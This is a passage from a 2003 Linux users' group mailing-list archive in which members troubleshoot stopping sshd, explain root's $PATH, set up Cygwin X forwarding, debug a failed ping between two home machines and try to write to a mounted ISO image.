<3F463990.6020006@visi.com> Message-ID: <3F463960.5060500@druswanderings.net> Sam MacDonald wrote: > Well sshd works very, very well, except now I can't start an X session > using WinaXe. > When I attempted to stop sshd on my Linux box as "root" > sshd stop > It returns the following message > Extra argument stop. > ****** > version Openssh_2.9p2 > ****** > I can stop and start other demons but it's like this one can't be stopped . > The man page doesn't list any way to stop sshd, is it a freight train? > > Sam. Try /etc/init.d/sshd stop or if that doesn't work, /etc/rc.d/init.d/sshd stop -- The Wandering Dru http://druswanderings.net <--- Things 'n' Such Get nifty TCLUG merchandise at the TCLUG Store! http://www.cafeshops.com/tclug _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From sfertch at real-time.com Fri Aug 22 10:43:57 2003 From: sfertch at real-time.com (Shawn) Date: Mon Jan 17 12:40:48 2005 Subject: [TCLUG] SSHD In-Reply-To: <3F463990.6020006@visi.com> References: <3F463990.6020006@visi.com> Message-ID: <20030822104357.40572cb4.sfertch@real-time.com> Not sure on the start/stop problem, but for the X forwarding, check your /etc/ssh/sshd_config file to see if it's enabled. Should look something like this: X11Forwarding yes -- Shawn The difficult we do today; the impossible take a little longer. Ne Obliviscaris -- "Forget Not" _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From list at slushpupie.com Fri Aug 22 10:44:18 2003 From: list at slushpupie.com (Jay Kline) Date: Mon Jan 17 12:40:48 2005 Subject: [TCLUG] SSHD In-Reply-To: <3F463990.6020006@visi.com> References: <3F463990.6020006@visi.com> Message-ID: <95dc1a1b137f9e4666cf3c15acb91215@slushpupie.com> On August 22, 10:41 am Sam MacDonald wrote: > Well sshd works very, very well, except now I can't start an X session > using WinaXe. > When I attempted to stop sshd on my Linux box as "root" > sshd stop > It returns the following message > Extra argument stop. > ****** > version Openssh_2.9p2 > ****** > I can stop and start other demons but it's like this one can't be > stopped . The man page doesn't list any way to stop sshd, is it a > freight train? > Sam. Try "/etc/rc.d/init.d/sshd stop" or even "killall sshd" Of course, if you are logged in via ssh, it will end your session, rather quickly. Jay _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Fri Aug 22 11:06:33 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:49 2005 Subject: [TCLUG] SSHD In-Reply-To: <95dc1a1b137f9e4666cf3c15acb91215@slushpupie.com> References: <3F463990.6020006@visi.com> <95dc1a1b137f9e4666cf3c15acb91215@slushpupie.com> Message-ID: <3F463F89.9050007@visi.com> Jay Kline wrote: >On August 22, 10:41 am Sam MacDonald wrote: > > >>Well sshd works very, very well, except now I can't start an X session >>using WinaXe. >>When I attempted to stop sshd on my Linux box as "root" >>sshd stop >>It returns the following message >>Extra argument stop. >>****** >>version Openssh_2.9p2 >>****** >>I can stop and start other demons but it's like this one can't be >>stopped . The man page doesn't list any way to stop sshd, is it a >>freight train? >>Sam. >> >> > > >Try "/etc/rc.d/init.d/sshd stop" or even "killall sshd" > >Of course, if you are logged in via ssh, it will end your session, rather >quickly. > >Jay > > > > That worked very well. So being in the init.d directory and running sshd stop is different then /etc/rc.d/init.d/sshd stop Sort of interesting but annoying _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From dru at druswanderings.net Fri Aug 22 11:08:09 2003 From: dru at druswanderings.net (The Wandering Dru) Date: Mon Jan 17 12:40:49 2005 Subject: [TCLUG] SSHD In-Reply-To: <3F463F89.9050007@visi.com> References: <3F463990.6020006@visi.com> <95dc1a1b137f9e4666cf3c15acb91215@slushpupie.com> <3F463F89.9050007@visi.com> Message-ID: <3F463FE9.2000606@druswanderings.net> Sam MacDonald wrote: > That worked very well. So being in the init.d directory and running sshd > stop is different then > /etc/rc.d/init.d/sshd stop > Sort of interesting but annoying I believe the root path on Red Hat does not include the current directory by default (I could be wrong on this as I don't run RH that often). If you are in the init.d directory, ./sshd stop should work ok. -- The Wandering Dru http://druswanderings.net <--- Things 'n' Such Get nifty TCLUG merchandise at the TCLUG Store! http://www.cafeshops.com/tclug _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Fri Aug 22 11:20:37 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:49 2005 Subject: [TCLUG] Cygwin Message-ID: <3F4642D5.5060101@visi.com> I'm going back to the Cygwin installation, just because I'll learn something. I've installed Cygwin as a default configuration no X11. It works just spiffy "$". ?question? I need to run the setup.exe, down load all the X11 stuff, and install Then I should be able to run a local (on the w98 box) X windows session At that point I should be able to setup Putty to us the local X11 and run it on the remote Linux box. ?/question? Am I any place close to being correct? [off topic] Not good, one of my SCIS disks is making a new whining noise, I'll have to get a new disk. Anyone know of a good deal on a 10-20 Gig ATA disk? Maybe on price watch... _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Fri Aug 22 11:23:00 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:49 2005 Subject: [TCLUG] SSHD In-Reply-To: <3F463FE9.2000606@druswanderings.net> References: <3F463990.6020006@visi.com> <95dc1a1b137f9e4666cf3c15acb91215@slushpupie.com> <3F463F89.9050007@visi.com> <3F463FE9.2000606@druswanderings.net> Message-ID: <3F464364.2020000@visi.com> The Wandering Dru wrote: > Sam MacDonald wrote: > > >> That worked very well. So being in the init.d directory and running >> sshd stop is different then >> /etc/rc.d/init.d/sshd stop >> Sort of interesting but annoying > > > I believe the root path on Red Hat does not include the current > directory by default (I could be wrong on this as I don't run RH that > often). If you are in the init.d directory, > > ./sshd stop > > should work ok. > now that works just GREAT and much less typing. I know, I know, write a script, all in good time. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From list at slushpupie.com Fri Aug 22 11:20:14 2003 From: list at slushpupie.com (Jay Kline) Date: Mon Jan 17 12:40:49 2005 Subject: [TCLUG] SSHD In-Reply-To: <3F463F89.9050007@visi.com> References: <3F463990.6020006@visi.com> <95dc1a1b137f9e4666cf3c15acb91215@slushpupie.com> <3F463F89.9050007@visi.com> Message-ID: > > Try "/etc/rc.d/init.d/sshd stop" or even "killall sshd" > > > > That worked very well. > So being in the init.d directory and running sshd stop is different then > /etc/rc.d/init.d/sshd stop > Sort of interesting but annoying Quick lesson on the $PATH variable. Your path as root is generally /sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin which means if you do not specify the full path, it will try and run something in the path (the frist one it finds). When you just did "sshd stop" it found the sshd deamon in /usr/sbin and tried to run that, which of course didnt know what "stop" ment (thus the error). The script in /etc/rc.d/init.d does know, but is not apart of your path. For security's sake, your current directory is never apart of the path (or sholdnt be, anyway). If someone were to get a nasty program that deletes everything you own, and name it "cd" and "ls" and put it in your home directory, you would never know what hit you. Therefore, to run things in your current directory, you need to be explicit, and do "./commandname" Jay _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jethro at freakzilla.com Fri Aug 22 10:28:41 2003 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 12:40:49 2005 Subject: [TCLUG] Cygwin In-Reply-To: <3F4642D5.5060101@visi.com> References: <3F4642D5.5060101@visi.com> Message-ID: <1061566121.3f4636a918083@www.freakzilla.com> Yes. Quoting Sam MacDonald : > I'm going back to the Cygwin installation, just because I'll learn > something. > > I've installed Cygwin as a default configuration no X11. > It works just spiffy "$". > > ?question? > I need to run the setup.exe, down load all the X11 stuff, and install > Then I should be able to run a local (on the w98 box) X windows session > At that point I should be able to setup Putty to us the local X11 and > run it on the remote Linux box. > ?/question? > > Am I any place close to being correct? > > [off topic] > Not good, one of my SCIS disks is making a new whining noise, I'll have > to get a new disk. > Anyone know of a good deal on a 10-20 Gig ATA disk? > Maybe on price watch... > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > -Yaron -- _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jima at beer.tclug.org Fri Aug 22 11:31:25 2003 From: jima at beer.tclug.org (Jima) Date: Mon Jan 17 12:40:49 2005 Subject: [TCLUG] SSHD In-Reply-To: <3F464364.2020000@visi.com> Message-ID: On Fri, 22 Aug 2003, Sam MacDonald wrote: > The Wandering Dru wrote: > > I believe the root path on Red Hat does not include the current > > directory by default (I could be wrong on this as I don't run RH that > > often). If you are in the init.d directory, > > > > ./sshd stop > > > > should work ok. > > > now that works just GREAT and much less typing. > I know, I know, write a script, all in good time. You're thinking about writing a script to execute a script? My usual technique is to run `service sshd `. As long as you have root's $PATH (the service command is in /sbin/), it'll work, and it merely executed the /etc/rc.d/init.d/sshd script (but without the hassle of typing that path). Jima _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Fri Aug 22 11:37:03 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:49 2005 Subject: [TCLUG] SSHD In-Reply-To: References: <3F463990.6020006@visi.com> <95dc1a1b137f9e4666cf3c15acb91215@slushpupie.com> <3F463F89.9050007@visi.com> Message-ID: <3F4646AF.9070506@visi.com> Jay Kline wrote: >>>Try "/etc/rc.d/init.d/sshd stop" or even "killall sshd" >>> >>> >>> >>That worked very well. >>So being in the init.d directory and running sshd stop is different then >>/etc/rc.d/init.d/sshd stop >>Sort of interesting but annoying >> >> > >Quick lesson on the $PATH variable. Your path as root is generally >/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin which means if >you do not specify the full path, it will try and run something in the path >(the frist one it finds). > >When you just did "sshd stop" it found the sshd deamon in /usr/sbin and >tried to run that, which of course didnt know what "stop" ment (thus the >error). The script in /etc/rc.d/init.d does know, but is not apart of your >path. For security's sake, your current directory is never apart of the >path (or sholdnt be, anyway). If someone were to get a nasty program that >deletes everything you own, and name it "cd" and "ls" and put it in your >home directory, you would never know what hit you. Therefore, to run things >in your current directory, you need to be explicit, and do "./commandname" > > >Jay > >_______________________________________________ >TCLUG Mailing List - Minneapolis/St. Paul, Minnesota >http://www.mn-linux.org tclug-list@mn-linux.org >https://mailman.real-time.com/mailman/listinfo/tclug-list > > > Um Jay, why aren't you writing documentation for a living, in 2 paragraphs you explained the whole Linux path to me. I've read several articles on the path and they sucked or I'm stupid, lets see, I aint stupid so... _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From list at slushpupie.com Fri Aug 22 12:06:12 2003 From: list at slushpupie.com (Jay Kline) Date: Mon Jan 17 12:40:49 2005 Subject: [TCLUG] SSHD In-Reply-To: <3F4646AF.9070506@visi.com> References: <3F463990.6020006@visi.com> <95dc1a1b137f9e4666cf3c15acb91215@slushpupie.com> <3F463F89.9050007@visi.com> <3F4646AF.9070506@visi.com> Message-ID: <8dbb805a751efb68849bbc042ab14070@slushpupie.com> On August 22, 11:37 am Sam MacDonald wrote: > Um Jay, why aren't you writing documentation for a living, in 2 > paragraphs you explained the whole Linux path to me. I've read several > articles on the path and they sucked or I'm stupid, lets see, I aint > stupid so... Most *nix documentation is geared towards someone who has been using *nix for years already. Which is great for those of us who have, but makes for one sharp learning curve. I come from a background of haveing to explain things in the lowest common terms (Sr. Citizen Community Ed coruses, children, the disabled, etc) so if I understand something, I tend to be able to get someone else to understand to (though not always, I dont think I would make a good classroom teacher). Oh- and I would write documentation for a living if I *could* write documentation for a living. But I would likely get fired for putting some snide comment in a manual for how dumb a particular feature (or lack there of) is. Jay _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From rick at eworld3.net Fri Aug 22 12:26:59 2003 From: rick at eworld3.net (Rick Meyerhoff) Date: Mon Jan 17 12:40:49 2005 Subject: [TCLUG] (fwd) Hello Clay In-Reply-To: References: Message-ID: <3F465263.9070607@eworld3.net> What would such a spy be trying to find out? The TCLUG membership list is public and any intelligent person would assume that TCLUG members are pro-Linux and therefore probably not a big fan of MS or SCO. Of course you guys could be joking. Jima wrote: > On Fri, 22 Aug 2003, Shawn wrote: > >>Shhh.... Maybe he's a mole from either Microsoft or SCO ;) > > > The thought had seriously crossed my mind. > > >>One question though, he's taken classes from CA (if I read that right >>originally) and he's willing to move here (if he isn't already) to take >>on a free, non-paying position without any chance or possibility of ever >>being paid? > > > I was wondering about the same thing. There are *tons* of LUGs in > California (41, it looks like [1]) -- including one at CSU Chico [2] > (where the OP is going to school). > > >>Hmmm..... Makes you wonder. > > > It certainly does. > > Jima > > 1. http://www.linux.org/groups/usa/ > > 2. http://cslug.ecst.csuchico.edu/ -- Eric (Rick) Meyerhoff rick@eworld3.net 952-929-1659 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Fri Aug 22 12:48:22 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:49 2005 Subject: [TCLUG] SSHD In-Reply-To: <8dbb805a751efb68849bbc042ab14070@slushpupie.com> References: <3F463990.6020006@visi.com> <95dc1a1b137f9e4666cf3c15acb91215@slushpupie.com> <3F463F89.9050007@visi.com> <3F4646AF.9070506@visi.com> <8dbb805a751efb68849bbc042ab14070@slushpupie.com> Message-ID: <3F465766.6060302@visi.com> LMAO! _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Fri Aug 22 12:56:44 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:49 2005 Subject: [TCLUG] (fwd) Hello Clay In-Reply-To: <3F465263.9070607@eworld3.net> References: <3F465263.9070607@eworld3.net> Message-ID: <3F46595C.8060809@visi.com> Y'all have forced my hand. Maybe it's a Russian plot to overthrow the TCLUG and all USLUG's. ;-) Maybe it's IBM looking for help defending a position that will benefit them in the BILLIONS of dollars. :-( Maybe it's 12:48 pm and I'm ready for a beer =-O Or it's a guy that really wants to get out of California before it falls in to the ocean :-\ Ooo, Ooo, maybe he has way to much time on his hands... wait thats me :-[ Sam. Rick Meyerhoff wrote: > What would such a spy be trying to find out? The TCLUG membership list > is public and any intelligent person would assume that TCLUG members > are pro-Linux and therefore probably not a big fan of MS or SCO. > > Of course you guys could be joking. > > Jima wrote: > >> On Fri, 22 Aug 2003, Shawn wrote: >> >>> Shhh.... Maybe he's a mole from either Microsoft or SCO ;) >> >> >> >> The thought had seriously crossed my mind. >> >> >>> One question though, he's taken classes from CA (if I read that >>> right originally) and he's willing to move here (if he isn't >>> already) to take on a free, non-paying position without any chance >>> or possibility of ever being paid? >> >> >> >> I was wondering about the same thing. There are *tons* of LUGs in >> California (41, it looks like [1]) -- including one at CSU Chico [2] >> (where the OP is going to school). >> >> >>> Hmmm..... Makes you wonder. >> >> >> >> It certainly does. >> >> Jima >> >> 1. http://www.linux.org/groups/usa/ >> >> 2. http://cslug.ecst.csuchico.edu/ > > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From sfertch at real-time.com Fri Aug 22 12:55:25 2003 From: sfertch at real-time.com (Shawn) Date: Mon Jan 17 12:40:49 2005 Subject: [TCLUG] (fwd) Hello Clay In-Reply-To: <3F465263.9070607@eworld3.net> References: <3F465263.9070607@eworld3.net> Message-ID: <20030822125525.7dfcd702.sfertch@real-time.com> On Fri, 22 Aug 2003 12:26:59 -0500 Rick Meyerhoff wrote: > What would such a spy be trying to find out? The TCLUG membership list > > is public and any intelligent person would assume that TCLUG members > are > pro-Linux and therefore probably not a big fan of MS or SCO. > > Of course you guys could be joking. > Not so much trying to find out, rather mailicious activities. ;) we all know how bloodthirsty and money hungry SCO and MS are... Again, the whole point of this is why would someone move from CA to MN for a job that has no pay and never will. How would they support themselves, unless they are either independantly wealthy, or live off the gov't system (immigrant stuff &/or welfare)? Also, if this person is truly interested in such a position, why aren't they subscribed? Or if they are, why haven't they spoke up? None of it makes any sense.... -- Shawn The difficult we do today; the impossible take a little longer. Ne Obliviscaris -- "Forget Not" _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From rpgoldman at real-time.com Fri Aug 22 12:56:09 2003 From: rpgoldman at real-time.com (rpgoldman@real-time.com) Date: Mon Jan 17 12:40:49 2005 Subject: [TCLUG] SSHD In-Reply-To: <3F463F89.9050007@visi.com> References: <3F463990.6020006@visi.com> <95dc1a1b137f9e4666cf3c15acb91215@slushpupie.com> <3F463F89.9050007@visi.com> Message-ID: <16198.22841.700715.509920@gargle.gargle.HOWL> >>>>> "Sam" == Sam MacDonald writes: Sam> Jay Kline wrote: >> On August 22, 10:41 am Sam MacDonald wrote: >> >> >>> Well sshd works very, very well, except now I can't start an X >>> session using WinaXe. When I attempted to stop sshd on my >>> Linux box as "root" sshd stop It returns the following message >>> Extra argument stop. >>> ****** >>> version Openssh_2.9p2 >>> ****** >>> I can stop and start other demons but it's like this one can't >>> be stopped . The man page doesn't list any way to stop sshd, >>> is it a freight train? Sam. >>> >>> >> >> >> Try "/etc/rc.d/init.d/sshd stop" or even "killall sshd" >> >> Of course, if you are logged in via ssh, it will end your >> session, rather quickly. >> >> Jay >> >> >> >> Sam> That worked very well. So being in the init.d directory and Sam> running sshd stop is different then /etc/rc.d/init.d/sshd Sam> stop Sort of interesting but annoying Depends on what your path is. Not annoying, very important (you don't want the current directory in your path by default, ESPECIALLY as root, for reasons too long and old to go into here). Look what happens with me: [root@tsathoggua root]# which sshd /usr/sbin/sshd [root@tsathoggua root]# cd /etc/init.d/ [root@tsathoggua init.d]# which sshd /usr/sbin/sshd [root@tsathoggua init.d]# ls sshd sshd* [You might have to use "type" instead of "which," I'm an old (t)csh user.] See? I get sshd from my path. /etc/init.d is NOT in my path (nor should it be). R _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From rick at eworld3.net Fri Aug 22 13:05:43 2003 From: rick at eworld3.net (Rick Meyerhoff) Date: Mon Jan 17 12:40:49 2005 Subject: [TCLUG] ping but no pong Message-ID: <3F465B77.1010501@eworld3.net> I still have not been able to get my network (just a crossover cable) to work right. At this point I can ping from w2k to Linux but not from Linux to w2k. Here is what happens when I try: [rick@myLinux rick]$ ping myW2k PING myW2k (192.168.1.2) 56(84) bytes of data. (the link lights on both cards flash in unison but this ping just "hangs" here without any output until I CTRL-C, then I get...) --- myW2k ping statistics --- 8 packets transmitted, 0 received, 100% packet loss, time 7016ms I am still learning about networking so please don't make any assumptions. Could it be my windoze firewall (ZoneAlarm)? It does not report that someone has been trying to ping. It's annoying to turn it off because I only have one mouse (gave the spares away) and if I move the mouse from the Linux box Linux stops recognizing the mouse when I replace it and so I have to reboot. -- Eric (Rick) Meyerhoff rick@eworld3.net 952-929-1659 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From sfertch at real-time.com Fri Aug 22 13:06:13 2003 From: sfertch at real-time.com (Shawn) Date: Mon Jan 17 12:40:49 2005 Subject: [TCLUG] SSHD In-Reply-To: <8dbb805a751efb68849bbc042ab14070@slushpupie.com> References: <3F463990.6020006@visi.com> <95dc1a1b137f9e4666cf3c15acb91215@slushpupie.com> <3F463F89.9050007@visi.com> <3F4646AF.9070506@visi.com> <8dbb805a751efb68849bbc042ab14070@slushpupie.com> Message-ID: <20030822130613.6497b3df.sfertch@real-time.com> On Fri, 22 Aug 2003 12:06:12 -0500 "Jay Kline" wrote: > Oh- and I would write documentation for a living if I *could* write > documentation for a living. But I would likely get fired for putting > some snide comment in a manual for how dumb a particular feature (or > lack there of) is. > Or, maybe something like this from the man page of tunefs on HP-UX: You can tune a file system, but you can't tune a fish. -- Shawn The difficult we do today; the impossible take a little longer. Ne Obliviscaris -- "Forget Not" _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From lxy at cloudnet.com Fri Aug 22 13:09:40 2003 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 12:40:49 2005 Subject: [TCLUG] (fwd) Hello Clay In-Reply-To: <3F46595C.8060809@visi.com> Message-ID: On Fri, 22 Aug 2003, Sam MacDonald wrote: > Maybe it's 12:48 pm and I'm ready for a beer =-O You could always start the beer meeting early.... _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From johnnyfulcrum at mn.rr.com Fri Aug 22 13:19:36 2003 From: johnnyfulcrum at mn.rr.com (Johnny Fulcrum) Date: Mon Jan 17 12:40:50 2005 Subject: [TCLUG] ping but no pong In-Reply-To: <3F465B77.1010501@eworld3.net> References: <3F465B77.1010501@eworld3.net> Message-ID: On Fri, 22 Aug 2003 13:05:43 -0500, Rick Meyerhoff wrote: > I still have not been able to get my network (just a crossover cable) to > work right. At this > point I can ping from w2k to Linux but not from Linux to w2k. Here is > what happens when I try: > > [rick@myLinux rick]$ ping myW2k > PING myW2k (192.168.1.2) 56(84) bytes of data. > Humm... can you ping the IP address of your windows box instead of it's name? PING is saying that the IP address of myw2k is 192.168.1.2 - is that true? Do you have a Name Server that is resolving names on you LAN? Just wondering how ping is knowing the IP address of the windows box... I'm kinda new to this too, these are just some thoughts I had :) > (the link lights on both cards flash in unison but this ping just > "hangs" here without any output until I CTRL-C, then I get...) > > --- myW2k ping statistics --- > 8 packets transmitted, 0 received, 100% packet loss, time 7016ms > > > I am still learning about networking so please don't make any > assumptions. > > Could it be my windoze firewall (ZoneAlarm)? It does not report that > someone has been trying to ping. It's annoying to turn it off because I > only have one mouse (gave the spares away) and if I move the mouse from > the Linux box Linux stops recognizing the mouse when I replace it and so > I have to reboot. I think you can just restart X - ctl-atl-BACKSPACE should restart X ---- if it drops you to a prompt w/o restarting, just type startx there may be an easier way than restarting the winder manager, but I think that is easier than rebooting! _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From trammell+tclug at el-swifto.com Fri Aug 22 13:26:32 2003 From: trammell+tclug at el-swifto.com (John J. Trammell) Date: Mon Jan 17 12:40:50 2005 Subject: [TCLUG] ping but no pong In-Reply-To: <3F465B77.1010501@eworld3.net> References: <3F465B77.1010501@eworld3.net> Message-ID: <20030822182632.GA31033@mail.el-swifto.com> On Fri, Aug 22, 2003 at 01:05:43PM -0500, Rick Meyerhoff wrote: [ping troubles snipped] > It's annoying to turn it off because I > only have one mouse (gave the spares away) and if I move the mouse from > the Linux box Linux stops recognizing the mouse when I replace it and so > I have to reboot. > One way around this problem that has worked for me in the past is to switch from X to a text console (e.g. Ctrl-Alt-F1), then back into X (Ctrl-Alt-F7). Much faster than rebooting. -- trammell@el-swifto.com 9EC7 BC6D E688 A184 9F58 FD4C 2C12 CC14 8ABA 36F5 Twin Cities Linux Users Group (TCLUG) Minneapolis/St. Paul, Minnesota _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From johnnyfulcrum at mn.rr.com Fri Aug 22 13:31:52 2003 From: johnnyfulcrum at mn.rr.com (Johnny Fulcrum) Date: Mon Jan 17 12:40:50 2005 Subject: [TCLUG] edit an iso file ? In-Reply-To: <20030821132646.4587cac2.william.layer@comcast.net> References: <20030821132646.4587cac2.william.layer@comcast.net> Message-ID: On Thu, 21 Aug 2003 13:26:46 -0500, Bill Layer wrote: > On Thu, 21 Aug 2003 12:43:15 -0500 > Johnny Fulcrum wrote: > >> >> can one edit an iso file to add some stuff? > > Sure. As root: > > mkdir -f /mnt/iso > mount -t iso9660 -o loop,rw image.iso /mnt/iso > cd /mnt/iso > > > I always get that it's a read only filesystem: [root@tools_linux2 mnt]# mkdir knopp [root@tools_linux2 mnt]# mount -t iso9660 -o loop,rw /home/meierjo/knoppiXMAME/KnoppiXMAME-1.0.iso /mnt/knopp [root@tools_linux2 mnt]# cd knopp . . . cp: cannot create regular file `./005.zip': Read-only file system cp: cannot create regular file `./1941.zip': Read-only file system . . . [root@tools_linux2 roms]# mount . . . . /home/xxxx/knoppiXMAME/KnoppiXMAME-1.0.iso on /home/xxxx/knoppiXMAME/knopiso type iso9660 (rw,loop=/dev/loop3) /home/xxxx/knoppiXMAME/KnoppiXMAME-1.0.iso on /mnt/knopp type iso9660 (rw,loop=/dev/loop4) [root@tools_linux2 roms]# df -k . Filesystem 1K-blocks Used Available Use% Mounted on /home/xxxx/knoppiXMAME/KnoppiXMAME-1.0.iso 203024 203024 0 100% /mnt/knopp [root@tools_linux2 roms]# . . . > cd .. > umount iso > > > > Bill > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From dru at druswanderings.net Fri Aug 22 13:41:48 2003 From: dru at druswanderings.net (The Wandering Dru) Date: Mon Jan 17 12:40:50 2005 Subject: [TCLUG] ESR responds to SCO's latest insanity Message-ID: <3F4663EC.5060109@druswanderings.net> http://linux.com/article.pl?sid=03/08/22/1746248 This is just too good not to post. You think Darl's gotten under Eric's skin on this one? -- The Wandering Dru http://druswanderings.net <--- Things 'n' Such Get nifty TCLUG merchandise at the TCLUG Store! http://www.cafeshops.com/tclug _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From rick at eworld3.net Fri Aug 22 13:54:11 2003 From: rick at eworld3.net (Rick Meyerhoff) Date: Mon Jan 17 12:40:50 2005 Subject: [TCLUG] ping but no pong In-Reply-To: References: <3F465B77.1010501@eworld3.net> Message-ID: <3F4666D3.9030105@eworld3.net> Johnny Fulcrum wrote: > On Fri, 22 Aug 2003 13:05:43 -0500, Rick Meyerhoff > wrote: > >> I still have not been able to get my network (just a crossover cable) >> to work right. At this >> point I can ping from w2k to Linux but not from Linux to w2k. Here is >> what happens when I try: >> >> [rick@myLinux rick]$ ping myW2k >> PING myW2k (192.168.1.2) 56(84) bytes of data. >> > > > Humm... can you ping the IP address of your windows box instead of it's same problem > name? PING is saying that the IP address of myw2k is 192.168.1.2 - is > that true? > Do you have a Name Server that is resolving names on you LAN? Just > wondering how ping is knowing the IP address of the windows box... I just use hosts files on both machines and they look right. > > I'm kinda new to this too, these are just some thoughts I had :) -- Eric (Rick) Meyerhoff rick@eworld3.net 952-929-1659 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From Dan.Lansing at AndersenCorp.com Fri Aug 22 13:57:45 2003 From: Dan.Lansing at AndersenCorp.com (Lansing, Dan) Date: Mon Jan 17 12:40:50 2005 Subject: [TCLUG] edit an iso file ? Message-ID: <0399641989D32043BED5793CCC8F5CD54D36A4@BPEXU1VM2.andersencorp.com> Edit the permissions? Just a guess, haven't tried this...the is a windows tool I use occasionally to edit iso files called winiso but I assume you would rather not use windows Dan Lansing -----Original Message----- From: Johnny Fulcrum [mailto:johnnyfulcrum@mn.rr.com] Sent: Friday, August 22, 2003 1:32 PM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] edit an iso file ? On Thu, 21 Aug 2003 13:26:46 -0500, Bill Layer wrote: > On Thu, 21 Aug 2003 12:43:15 -0500 > Johnny Fulcrum wrote: > >> >> can one edit an iso file to add some stuff? > > Sure. As root: > > mkdir -f /mnt/iso > mount -t iso9660 -o loop,rw image.iso /mnt/iso > cd /mnt/iso > > > I always get that it's a read only filesystem: [root@tools_linux2 mnt]# mkdir knopp [root@tools_linux2 mnt]# mount -t iso9660 -o loop,rw /home/meierjo/knoppiXMAME/KnoppiXMAME-1.0.iso /mnt/knopp [root@tools_linux2 mnt]# cd knopp . . . cp: 